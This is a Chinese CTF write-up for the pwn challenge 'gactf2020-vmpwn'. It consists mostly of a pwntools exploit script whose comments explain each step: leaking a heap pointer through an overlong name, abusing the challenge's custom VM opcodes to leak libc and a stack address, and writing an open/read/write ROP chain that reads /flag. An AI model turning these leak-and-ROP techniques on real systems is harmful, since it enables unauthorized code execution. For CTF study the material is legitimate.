[BMZCTF-pwn] 48_gactf2020-vmpwn
·
虚拟机太麻烦了,有一块不明白看了个exp,但是明显这个exp的命令格式不对。但大意明白了。
为防自己以后不明白,把说明写到注释里。也就不用写别的了。全在代码里了。
from pwn import *
local = 1
if local == 1:
p = process('./pwn')
else:
p = remote('1.1.1.1', 28546)
libc_elf = ELF('/home/shi/buuctf/buuoj_2.23_amd64/libc6_2.23-0ubuntu10_amd64.so')
one = [0x45216, 0x4526a, 0xf02a4, 0xf1147 ]
libc_start_main_ret = 0x20830
elf = ELF('./pwn')
context.arch = 'amd64'
p.sendafter(b'name:', b'A'*0xf0)
p.recvuntil(b'A'*0xf0)
vm_mem_addr = u64(p.recvline()[:-1].ljust(8, b'\x00'))
vm_code_addr = vm_mem_addr + 0x2e20
print('Recv:',hex(vm_mem_addr), hex(vm_code_addr))
'''
0x55555575aff8: 名字--> 0x4141414141414141 0x000000000000000a
...
0x55555575b0e8: 0x00005555557582e0 <-- 需要泄露的指针 > 0x0000000000000000
0x55555575b0f8: 0x0000555555757851 <-- 0x00005555557582e0+0x2e20 >
名字后边是两个指针,通过输入0xf0长的名字带出指针1,并计算出命令区的位置
先覆盖指针再将代码写到指针后(指针指向代码开始处)
0x55555575b0f8: (0x55555575b0f8+8) opcode
'''
'''
虚拟机建3个堆块:
0x30 寄存器rdi,rsi,rdx,rsp,?,rip
0x1000 内存块
0x2000 ?
虚拟机的命令
p8(0x20)+ p64(0) mov rdi,&mem 将内存块的地址传给rdi
p8(0x11)+ p64(i) mov rdi,i 0x11,0x12,0x13分别为rdi,rsi,rdx
p8(0x8f)+ p8(syscall_id) 执行syscall调用,有下面4个调用
.data:00000000002038E0 off_2038E0 dq offset read ; DATA XREF: main+9A8↑o
.data:00000000002038E8 dq offset write
.data:00000000002038F0 dq offset puts
.data:00000000002038F8 dq offset free
p8(0x6d) xor rdi,rdi
p8(0xff) return 跳出循环退出
'''
opcode=[
b'\x20'+p64(0), #mov rdi, &mem
b'\x8f\x03', #free(rdi)
b'\x8f\x02', #puts(rdi)
b'\x6d', #xor rdi,rdi
b'\x12'+p64(vm_code_addr + 34), #mov rsi,vm_code_addr+opcode_len
b'\x13'+p64(32), #mov rdx,32
b'\x8f\x00', #read(0,vmshellcode+len(opcode), len(next_opcode))
]
#9,2,2,1,9,9,2 = 34
#1.1,先读入内存块地址然后调用free释放,
#1.2,再调用puts输出main_arena+0x58 计算得到libc地址
#1.3,读入下一段命令码到这段的尾部,本段起始于vm_code_addr,本段长34 下段读入到vm_code_addr+34下段长度32
p.sendafter(b'say:', b'a'*0x100+ p64(vm_code_addr) + flat(opcode))
p.recvuntil(b'Now,I recevie your message,bye~\n')
libc_base = u64(p.recvline()[:-1].ljust(8, b'\x00')) -0x58 -0x10 - libc_elf.sym['__malloc_hook']
libc_elf.address = libc_base
print('libc:', hex(libc_base))
pop_rdi = next(libc_elf.search(asm('pop rdi; ret')))
pop_rsi = next(libc_elf.search(asm('pop rsi; ret')))
pop_rdx = next(libc_elf.search(asm('pop rdx; ret')))
free_hook = libc_elf.sym['__free_hook']
bss = libc_elf.bss()
print('bss:', hex(bss))
print('free_hook:', hex(free_hook))
#puts(environ), read next
opcode = [
b'\x11' + p64(libc_elf.sym['environ']),
b'\x8f\x02',
b'\x6d',
b'\x12'+p64(vm_code_addr + 34 + 32), #
b'\x13'+p64(0x100), #
b'\x8f\x00', #read(0,vmshellcode+code+0x20)
]
#9 2 1 9 9 2 = 32
#2.1,通过libc地址得到environ的栈地址,通过栈地址计算出ret的地址,将来将rop写到返回地址处
#2.2,读入下一段命令码
p.send(flat(opcode))
stack_addr = u64(p.recvline()[:-1].ljust(8, b'\x00')) - 0xf0
print('stack:', hex(stack_addr))
#3.1,将rop(orw)读入ret位置
#3.2,执行return
#read rop->stack.return
opcode = [
b'\x6d', #xor rdi,rdi
b'\x12'+p64(stack_addr), #mov rsi,stack_addr
b'\x13'+p64(0xa0), #mov rdx,0xa0
b'\x8f\x00', #read(0,stack_addr,0xa0)
b'\xff', #return
]
p.send(flat(opcode))
rop = flat(
pop_rdi, stack_addr+0x98, pop_rsi, 0, libc_elf.sym['open'],
pop_rdi, 3, pop_rsi, bss, pop_rdx, 0x30, libc_elf.sym['read'],
pop_rdi, 1, pop_rsi, bss, pop_rdx, 0x30, libc_elf.sym['write'],
b'/flag\x00\x00\x00'
)
sleep(0.1)
#4 发送rop
p.send(rop)
p.interactive()
更多推荐


所有评论(0)